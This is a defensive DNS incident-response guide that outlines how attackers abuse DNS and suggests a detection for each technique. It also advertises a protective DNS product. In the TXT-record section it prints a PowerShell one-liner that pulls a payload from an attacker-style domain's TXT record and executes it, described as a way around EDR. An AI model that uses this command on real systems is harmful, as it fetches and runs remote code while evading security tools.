DNS Incident Response

Root Cause Analysis with Detection Ideas

Md. Abdullah Al Mamun

Index

Who is This for?

Cybersecurity & Incident Responders

Technical Level

Little Advanced

Persistent Malicious DNS Query Detection

Sometimes, malware establish a persistent DNS query mechanism in the victim computer. In such cases, you may notice in the Linux victim system that the systemd-resolved or, the systemd-resolved.service service is sending DNS queries to the malicious domain on startup/reboot. This service is persistent as it's started by the '/sbin/init' process (in case of Ubuntu) and provides resolver services for Domain Name System (details).

Preferred Action: You can first confirm the DNS queries by logging the network activities using my tool NetDahar or, checking the systemd-resolved cache from the journalctl log by using the below commands (first store the logs into the dns_log.txt file and then search the systemd-resolved logs in the file):

```
pkill -USR1 systemd-resolve
journalctl -u systemd-resolved > dns_log.txt
```

Antivirus Enumeration Detection

Threat actors send non-recursive DNS queries to their target organization’s DNS server (after gaining access to the network) for different antivirus’ domains. If the DNS query for any of the anti virus domains gets a successful DNS response, this indicates that the specific anti virus is installed in the organization. Because, attacker sent non-recursive DNS query, which means- the DNS server will only send successful response if the DNS record is already stored in the DNS server's cache. And the DNS server usually caches the DNS record of the currently used antivirus’ domain (as it's often queried by the antivirus for updates) thus, threat actor got the info.

Preferred Action: You can analyze the DNS query logs to check if there are DNS queries for so many antivirus domains in a certain period of time.

Payload in DNS TXT Record Detection

When threat actors try to use PowerShell commands such as IEX or, Invoke-WebRequest then, EDR or security solutions block this. To bypass this, they can host a DNS TXT record with malicious payload in their C2 domain and then run the below command to execute the payload (details):

```
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```

Preferred Action: You should manually analyze the DNS query logs to find such queries for TXT records. For example, below is a sample log for TXT records query that I generated using ChatGPT:

```
08-Jun-2023 14:30:47.000 queries: info: client 10.0.0.5#54321 (google.com): query: google.com IN TXT +
08-Jun-2023 14:30:47.000 queries: info: client 10.0.0.5#54321 (google.com): response: google.com IN TXT "facebook-domain-verification=abcdefghijk" TTL 1800
08-Jun-2023 10:15:23.000 queries: info: client 192.168.1.100#12345 (example.com): response: example.com IN TXT "v=spf1 include:_spf.example.com ~all" TTL 3600
```

DNS Log Bypass Detection

Threat actors may add their malicious domain and the IP address in the hosts file (‘/etc/hosts’ in Linux) like below to temporarily bypass the DNS and its logs:

```
65.181.121.56 malicious.com
```

Threat actors may even use ‘domain to IP’ services such as ip-api to collect the IP address of their DGA or malicious domain rather than querying the DNS server. So that, DNS can’t log their domain in the query log.

Preferred Action: It’s really hard to detect such behavior if your organization doesn’t have any DNS security solution such as ThreatIDR. But, you can check for the existence of the DNS queries for ‘domain to IP’ services in the log. Or, analyze the recent hosts file modification during the incident response.

DNS Tunneling Detection

Threat actors often encodes/encapsulates the data of different protocols or, programs in DNS query. This technique is called DNS tunneling. This technique sometimes includes an another hacking method- DGA (Domain Generation Algorithm). This enables threat actors to exfiltrate data using DNS protocol.

Preferred Action: The domain name in a DNS request can have up to 253 characters in its textual representation. So, threat actors will require so many DNS requests to exfiltrate data. As a result, the DNS traffic will increase, which is a good indicator of DNS tunneling attack. Also an incident responder should analyze the data inside the network packets by capturing the live network. This will help to detect the DNS tunneling attack by analyzing it manually.

ThreatIDR for DNS Security

What if your DNS server protected you from cyber threats? ThreatIDR is such a Protective DNS (enhanced with new technologies) solution that will automate your security. Details: https://www.ppln.co/threatidr

Get Your Own Secured DNS Server

Final Summary

DNS is the main entry point for all possible internet based cyber threats. If the DNS is safe, almost all are safe. And when the DNS is attacked by threat actors, victim organization requires an incident response. I described some tasks as the initial checklist of DNS incident response in this document. But, worth to mention, there are many more DNS threats i.e. DNS cache poisoning, DNS server's vulnerability exploitation etc. which requires a perfect incident response to detect the root cause and secure the environment from all possible threats.